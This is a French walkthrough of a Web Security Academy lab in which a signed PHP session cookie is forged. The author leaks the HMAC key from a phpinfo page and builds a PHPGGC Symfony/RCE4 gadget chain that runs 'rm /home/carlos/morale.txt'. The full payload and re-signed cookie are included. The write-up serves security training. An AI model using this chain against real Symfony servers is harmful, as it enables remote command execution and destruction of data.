Web Security Academy

Insecure deserialization - Lab : Exploiting PHP deserialization with a pre-built gadget chain

Objectif :

  • Supprimer le fichier morale.txt se situant dans le répertoire personnel d'une personne se nommant Carlos dans le serveur distant.

Solution :

Lorsqu'on lance le lab, on arrive sur la première page d'un site de commerce. On aperçoit que l'on peut se loguer sur le site avec un compte utilisateur en appuyant sur "Account login" en haut à droite.

En utilisant les identifiants fournis dans l'énoncé ( nom de compte : wiener ; mot de passe : peter ), on se connecte au site en tant que client ordinaire. Un cookie de session a été créé et va désormais apparaître parmi les headers des requêtes envoyées par le navigateur au serveur :

En utilisant un outil pour analyser les requêtes émises (par exemple Burp Suite), on extrait notre cookie de session codé en URL et on le décode.

Ce qui nous donne : {"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJvaW9zeG1nSDhMekJZMzRKSW9ncXI0WFRpTzc2eGlDaSI7fQ==","sig_hmac_sha1":"3bcc0630af18f2c266653375959622c85c38b477"}

Si on décode le token écrit en Base64, on obtient cela :

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"oiosxmgH8LzBY34JIogqr4XTiO76xiCi";}

Ce qui est objet sérialisé en PHP.

Un HMAC associé au token est utilisé dans le cookie. Il va falloir trouver la clef secrète associée si l'on veut correctement signer le token qui va sûrement être modifié manuellement pour atteindre notre objectif, afin que le serveur l'accepte.

Pour obtenir plus d'informations par rapport au serveur, on peut essayer de générer un message d'erreur : si l'on modifie le token de base sans changer le HMAC, le message d'erreur associé à la non-conformité du HMAC nous révèle l'utilisation du framework Symfony dans le serveur :

Lorsque l'on analyse le code source de la page d'accueil, on peut lire dans un commentaire qu'un potentiel fichier /cgi-bin/phpinfo.php existe dans le serveur.

On essaye de le soumettre dans l'URL et la fameuse page affichant de nombreuses informations sur la configuration PHP s'affiche :

En scrutant toutes les informations disponibles, on obtient la clef secrète du site web (sans doute utilisé dans le HMAC):

Pour atteindre notre objectif final (supprimer le fichier morale.txt), on va tenter d'exécuter une commande qui va supprimer le fichier morale.txt en générant et soumettant au serveur un objet sérialisé (contenant notre commande) basé sur un gadget chain connu pour le framework Symfony.

On va s'aider de l'outil PHPGGC (PHP Generic Gadget Chains) pour générer le payload:

./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt'

Ce qui produit :

O:47:"Symfony\Component\Cache\Adapter\TagAwareAdapter":2:{s:57:"Symfony\Component\Cache\Adapter\TagAwareAdapterdeferred";a:1:{i:0;O:33:"Symfony\Component\Cache\CacheItem":2:{s:11:"*poolHash";i:1;s:12:"*innerItem";s:26:"rm /home/carlos/morale.txt";}}s:53:"Symfony\Component\Cache\Adapter\TagAwareAdapterpool";O:44:"Symfony\Component\Cache\Adapter\ProxyAdapter":2{s:54:"Symfony\Component\Cache\Adapter\ProxyAdapterpoolHash";i:1;s:58:"Symfony\Component\Cache\Adapter\ProxyAdaptersetInnerItem";s:4:"exec";}}

Voici notre token que l'on va plus tard coder en Base64 pour pouvoir le soumettre au serveur.

On va maintenant générer le HMAC en utilisant la fonction de hachage SHA1 avec un des sites publics disponibles pour effectuer ce type de calcul (exemple : https://www.freeformatter.com/hmac-generator.html).

Ne pas oublier d'encoder le payload en Base64 dans la génération du HMAC.

Ce qui nous donne dans notre contexte :

414a3eeaedf7549d19f68597f93f911e80389ef4

Il suffit maintenant de réécrire le cookie de session :

{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==","sig_hmac_sha1":"414a3eeaedf7549d19f68597f93f911e80389ef4"}

On le soumet enfin au serveur en l'encodant en URL et on valide le lab (le fichier morale.txt est désormais supprimé).